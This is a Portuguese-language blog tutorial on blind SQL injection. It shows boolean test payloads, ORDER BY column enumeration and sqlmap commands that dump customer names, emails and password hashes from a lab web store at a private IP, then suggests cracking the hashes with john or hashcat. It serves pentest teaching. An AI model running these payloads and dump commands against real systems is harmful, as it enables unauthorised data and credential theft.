Blind SQL Injection

A vulnerabilidade SQL Injection do tipo Blind tem como característica não apresentar nenhum erro nas tentativas de input de payloads comuns como ' OR 1-1-- ou ' AND 1=1-- Nesse artigo, eu mostro como detectar essa vulnerabilidade manualmente em aplicações web. 

A lógica por detrás do Blind SQL Injection

A técnica utilizada para detectar a vulnerabilidade SQL Injection do tipo Blind em uma aplicação consiste em fazer testes com a lógica booleana. Isto é, fazer uso da "tabela verdade" durante os testes de detecção do Blind SQL. 

Tabela verdade - Lógica Booleana

Operador AND 

Para um resultado ser verdadeiro usando AND, as duas sentenças A e B tem que ser verdadeiras. Exemplo: 1=1 AND 1=1 Neste caso, o resulto lógico é verdadeiro. 


Operador OR

Para um resultado ser verdadeiro usando OR, uma das sentenças A ou B precisa ser verdadeira. Exemplo: 1=1 OR 1=2 O resultado do teste é verdadeiro pois uma das sentenças é verdade, ou seja, 1=1 


ATTACK

Na aplicação de teste, a validação da vulnerabilidade é bastante simples. Usando um teste 1=1 a aplicação retorna o produto referente ao id=1 Se o teste for falso como 2=1, a aplicação não retorna nenhum produto. 

Requisição para http://172.16.1.245/produtos.php?prod=1=1 Sentença verdadeira, o produto é exibido. 


Requisição para http://172.16.1.245/produtos.php?prod=1=2 Sentença falsa, o produto não é exibido. 



Identificando a quantidade de colunas com ORDER BY

O número de colunas em uma tabela pode ser identificado com o ORDER BY. No exemplo, a aplicação retorna positivo para todos os resultados até a coluna 27. Quando eu incluo a coluna 28, a aplicação retorna a busca como inexistente. 

Requisição para http://172.16.1.245/produtos.php?mprod=0&prod=
Payload:
1=1 order by 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 --

Retorna um valor verdadeiro, ou seja, exibe o produto. 




Requisição para http://172.16.1.245/produtos.php?mprod=0&prod=
Payload: 1=1 order by 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 --

Retorna um valor falso, isto é, não exibe o produto. 


Com esse resultado, podemos supor que a tabela relacionada com os produtos do site possui 27 colunas. 

A partir desse ponto, a vulnerabilidade SQL Injection do tipo Blind está confirmada e podemos usar a ferramenta automatizada SQLMap para explorar a vulnerabilidade e demonstrar o risco. 

SQLMap 

Identificar as bases de dados 

sqlmap -u 'http://172.16.1.245/produtos.php?mprod=0&prod=1*' --dbs --random-agent


A ferramenta confirma a vulnerabilidade SQL Injection do tipo Blind. Em seguida, a ferramenta retorna o nome das bases de dados encontradas. 



Coletar dados das bases de dados 

sqlmap -u 'http://172.16.1.245/produtos.php?mprod=0&prod=1*' --tables -D deckstore --random-agent --threads 10 

Com o parâmetro --tables é possível coletar o nome de todas as tabelas da base de dados deckstore. 



Durante um pentest ou ataque real, o principal objetivo é a coleta de credencias válidas. Depois de coletar o nome das tabelas, o passo seguinte é acessar os dados e buscar por credenciais válidas. Na lista acima as tabelas clientes e usuários são interessantes para buscar por credenciais. 

sqlmap -u "http://172.16.1.245/produtos.php?mprod=0&prod=1*" --columns -D deckstore -T clientes --threads 10 --dump

Com o parâmetro dump os dados da tabela clientes são exportados para um arquivo .csv 


Na figura acima é possível ver as credenciais coletadas na coluna nome, email e senha. Durante a execução do SQLMap, a ferramenta tentou quebrar o hash das senhas mas não teve sucesso. A wordlist utilizada foi padrão da ferramenta localizada em /usr/share/sqlmap/data/txt/wordlist.txt 

No entanto, durante um ataque ou pentest, após a coleta do hash de senha, é possível usar ferramentas como john ou hascat para executar a quebra do hash com uso de outra wordlist como rockyou.txt

Nesse artigo, mostrei um teste simples para descobrir a vulnerabilidade SQL Injection do tipo Blind usando a lógica booleana e, após confirmar a vulnerabilidade, o uso do SQLMap permite explorar a falha e coletar credenciais armazenadas na base de dados. 

Referência:
https://owasp.org/www-community/attacks/Blind_SQL_Injection


Comentários

Postagens mais visitadas